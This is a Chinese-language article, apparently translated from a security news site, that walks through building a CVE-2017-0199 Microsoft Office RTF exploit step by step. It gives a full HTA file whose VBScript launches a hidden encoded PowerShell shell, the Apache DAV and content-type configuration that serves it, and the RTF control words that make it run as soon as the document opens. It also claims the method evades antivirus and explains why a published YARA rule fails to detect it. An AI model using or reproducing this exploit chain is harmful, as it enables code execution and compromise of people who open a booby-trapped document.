详解CVE-2017-0199:Microsoft Office RTF 漏洞

技术背景

我们可以将OLEv2链接包含在现有文档中。 这些对象将反映加载到文档中的源链接中的当前内容。
令人惊奇的是,如果尝试将HTA链接包含为OLEv2对象,那么它将被执行一次(在创建时),但Winword将返回一个错误,如:

CVE-2017-0199-1

这种情况下出现的问题是,HTA文件将不会被持久化(为了使其持续,您必须将其链接到文件+创建图标,但是我们想要它隐藏并拥有自动运行权限)

我开始通过思考如何处理不是恶意的OLE对象链接到远程RTF文件…为了实现在“proper”Microsoft Office中的预期方式,我一点点修改在Apache中服务我的文件的内容类型和DAV模块。

从那里开始,我将有一个有效的嵌入式对象链接,每次打开我的文档后自动更新!

下一步?在HTA中用我的有效载荷修改来源的文档

在这种情况下能够:
– 为真正的RTF文件创建一个动态OLEv2对象链接
– 使用我的有效载荷修改源的RTF
– 如果我想创建一个直接链接到HTA文档,则绕过产生的错误

另一个问题?OLE对象需要自动激活

步骤

准备一个HTA文件:(HTA文件是可以运行JScr​​ipt和VBscript的HTML应用程序)

我们称之为“ ms.hta ”

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml”>

<head>

<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />

<title>Bonjour</title>

<script language=”VBScript”>

Set owFrClN0giJ = CreateObject(“Wscript.Shell”)

Set v1ymUkaljYF = CreateObject(“Scripting.FileSystemObject”)

If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(“%PSModulePath%”) + “..\powershell.exe”) Then

owFrClN0giJ.Run “powershell.exe -nop -w hidden -e ENCODED_B64_SHELL”

End If

</script>

<hta:application

id=”oHTA”

applicationname=”Bonjour”

application=”yes”

>

</hta:application>

</head>

<div>

<object type=”text/html” data=”http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender” width=”100%” height=”100%”>

</object></div>

<body>

</body>

</html>

步骤2

使用任意随机内容的Winword创建一个简单的RTF文档。(在例子中,我使用字符串来作为我的内容)

命名为“ ms.rtf ”

步骤3

在已完全控制的网络服务器上推送这2个文件。
我们假定它将被存储在/ var / www / html中

现在我们必须配置Apache才能将ms.rtf作为一个链接

a2enmod dav

a2enmod dav_fs

a2enmod dav_lock

a2enmod headers

service apache2 restart

 

以下指令将:
– 将“Content-Type application / rtf”添加到/ ms中的所有文件中
– 允许Microsoft Office执行的PROPFIND请求

Modify virtualhost and include:

 

<Directory /var/www/html/ms/>

Header set Content-Type “application/rtf”

</Directory>

<Directory />

Dav on

</Directory>

 

service apache2 restart

 

步骤4

使用Winword“ exploit.rtf ” 创建一个简单的RTF文档。这将是我们的漏洞利用!

插入 – >对象

 

CVE-2017-0199-2

 

单击确定后,您将获得包含随机字符串内容的“ms.rtf”文件。

将该文件保存为“ exploit.rtf ”

wd

 

在这一步我们可以关闭Winword,并转到下一步改变ms.rtf的内容与HTA有效载荷

步骤5

以下步骤将:
– 更改自定义HTA有效载荷中包含的ms.rtf
– Web服务器将发送“application/hta”的内容类型…这将由Winword客户端解析,它将运行mshta来处理这个内容类型并执行我们的有效载荷

 cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  
 vi /etc/apache2/sites-enables/000-default  
 Change -> application/rtf to application/hta  
 like:  
 <Directory /var/www/html/ms/>  
 Header set Content-Type "application/hta"  
 </Directory>  

 service apache2 restart  

步骤6

在这一步,如果用户打开“exploit.rtf”文件,他必须双击链接对象来启动攻击…

如果我们想要在文档打开时自动加载OLE对象,必须编辑exploit.rtf文件并更改至\ object \ objautlink \ objupdate \ rsltpict …………………… ..

在这个步骤中,漏洞利用已经成功构建。

使用方法:

一旦用户打开文档,OLE对象通过链接进行更新,并且由于服务器提供的application/hta content-type执行ms.hta,OLE对象将通过链接来更新。这样会得到执行代码的结果。Meterpreter命令如下:

CVE-2017-0199-4

我们不用在乎警告,因为代码已经在执行了…

89

使用当前AV /发布的YARA规则

从我的个人测试看来,这个方法目前还没有被AV捕获(Defender已经拥有CVE-2017-0199的签名)此外,目前已发布的yara 规则与此漏洞利用率不匹配。

rule rtf_objdata_urlmoniker_http {
strings:
$header = “{\\rtf1”
$objdata = “objdata 0105000002000000” nocase
$urlmoniker = “E0C9EA79F9BACE118C8200AA004BA90B” nocase
$http = “68007400740070003a002f002f00” nocase
condition:
$header at 0 and $objdata and $urlmoniker and $http
}

确实,urlmoniker不匹配,将永远不会触发这个Yara规则。

文章来源:http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html

上一篇:浅淡五款移动设备安全测试工具

下一篇:Wikileaks公布的CIA“Marble”框架分析